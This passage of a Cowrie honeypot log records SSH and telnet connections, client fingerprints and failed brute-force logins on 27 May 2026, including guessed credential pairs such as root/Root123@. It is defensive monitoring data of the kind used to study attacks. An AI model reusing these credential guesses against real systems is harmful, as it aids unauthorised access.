ie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:54.538112Z","src_ip":"103.148.100.146","session":"d509bf634c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456@","message":"login attempt [root/a123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:55.647207Z","src_ip":"103.148.100.146","session":"d509bf634c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.82868814468384,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:56.322442Z","src_ip":"79.139.59.21","session":"986ad1aec9ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:17:56.921383Z","src_ip":"103.148.100.146","session":"d509bf634c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.141","src_port":38882,"dst_ip":"10.17.0.5","dst_port":23,"session":"995d319e25be","protocol":"telnet","message":"New connection: 87.251.64.141:38882 (10.17.0.5:23) [session: 995d319e25be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:14.177232Z"}
{"eventid":"cowrie.session.closed","duration":0.09712696075439453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:14.274237Z","src_ip":"87.251.64.141","session":"995d319e25be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":45312,"dst_ip":"10.17.0.5","dst_port":22,"session":"c180a8c135cc","protocol":"ssh","message":"New connection: 45.114.124.44:45312 (10.17.0.5:22) [session: c180a8c135cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:17.677907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:17.682889Z","src_ip":"45.114.124.44","session":"c180a8c135cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:17.897957Z","src_ip":"45.114.124.44","session":"c180a8c135cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Admin@123","message":"login attempt [user/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:18.785574Z","src_ip":"45.114.124.44","session":"c180a8c135cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:20.003877Z","src_ip":"45.114.124.44","session":"c180a8c135cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":38268,"dst_ip":"159.203.135.109","dst_port":22,"session":"377b4332890f","protocol":"ssh","message":"New connection: 210.90.155.178:38268 (159.203.135.109:22) [session: 377b4332890f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:24.503703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:24.508577Z","src_ip":"210.90.155.178","session":"377b4332890f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":48172,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8605c6eb15b","protocol":"ssh","message":"New connection: 200.90.8.86:48172 (10.17.0.5:22) [session: c8605c6eb15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:24.707894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:24.713304Z","src_ip":"200.90.8.86","session":"c8605c6eb15b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:24.722543Z","src_ip":"210.90.155.178","session":"377b4332890f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:24.812341Z","src_ip":"200.90.8.86","session":"c8605c6eb15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es@123","message":"login attempt [es/es@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:25.197976Z","src_ip":"200.90.8.86","session":"c8605c6eb15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pos","password":"pos@123","message":"login attempt [pos/pos@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:25.552855Z","src_ip":"210.90.155.178","session":"377b4332890f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:26.293341Z","src_ip":"200.90.8.86","session":"c8605c6eb15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:18:26.760741Z","src_ip":"210.90.155.178","session":"377b4332890f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01228475570679,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:02.497305Z","src_ip":"79.139.59.21","session":"e6e5b34fcb22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":48748,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a9b779d657c","protocol":"ssh","message":"New connection: 220.247.224.226:48748 (10.17.0.5:22) [session: 0a9b779d657c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:16.298167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:16.303083Z","src_ip":"220.247.224.226","session":"0a9b779d657c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:16.537377Z","src_ip":"220.247.224.226","session":"0a9b779d657c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456zZ","message":"login attempt [root/123456zZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:17.490215Z","src_ip":"220.247.224.226","session":"0a9b779d657c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:18.739018Z","src_ip":"220.247.224.226","session":"0a9b779d657c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":57292,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c6e730ffeb4","protocol":"ssh","message":"New connection: 182.253.156.184:57292 (159.203.135.109:22) [session: 1c6e730ffeb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:26.591659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:26.596017Z","src_ip":"182.253.156.184","session":"1c6e730ffeb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:26.839791Z","src_ip":"182.253.156.184","session":"1c6e730ffeb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00178956985474,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:27.781365Z","src_ip":"191.0.122.57","session":"755e870aa42b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123@","message":"login attempt [root/Root123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:27.857859Z","src_ip":"182.253.156.184","session":"1c6e730ffeb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.0.122.57","src_port":5710,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f5344bcd2fe","protocol":"telnet","message":"New connection: 191.0.122.57:5710 (159.203.135.109:23) [session: 3f5344bcd2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:28.034316Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:29.104325Z","src_ip":"182.253.156.184","session":"1c6e730ffeb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":35550,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a908543c87b","protocol":"ssh","message":"New connection: 103.148.100.146:35550 (159.203.135.109:22) [session: 8a908543c87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:34.817992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:34.823119Z","src_ip":"103.148.100.146","session":"8a908543c87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":58860,"dst_ip":"159.203.135.109","dst_port":22,"session":"4473d2f0ee4c","protocol":"ssh","message":"New connection: 109.172.54.111:58860 (159.203.135.109:22) [session: 4473d2f0ee4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:34.994020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:35.003429Z","src_ip":"109.172.54.111","session":"4473d2f0ee4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:35.100003Z","src_ip":"103.148.100.146","session":"8a908543c87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:35.105079Z","src_ip":"109.172.54.111","session":"4473d2f0ee4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20021987","message":"login attempt [root/20021987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:35.389968Z","src_ip":"109.172.54.111","session":"4473d2f0ee4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rp","password":"rp","message":"login attempt [rp/rp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:36.226495Z","src_ip":"103.148.100.146","session":"8a908543c87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:36.487127Z","src_ip":"109.172.54.111","session":"4473d2f0ee4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":48842,"dst_ip":"10.17.0.5","dst_port":22,"session":"deda7e117c56","protocol":"ssh","message":"New connection: 5.182.83.231:48842 (10.17.0.5:22) [session: deda7e117c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:36.534436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:19:36.538685Z","src_ip":"5.182.83.231","session":"deda7e117c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 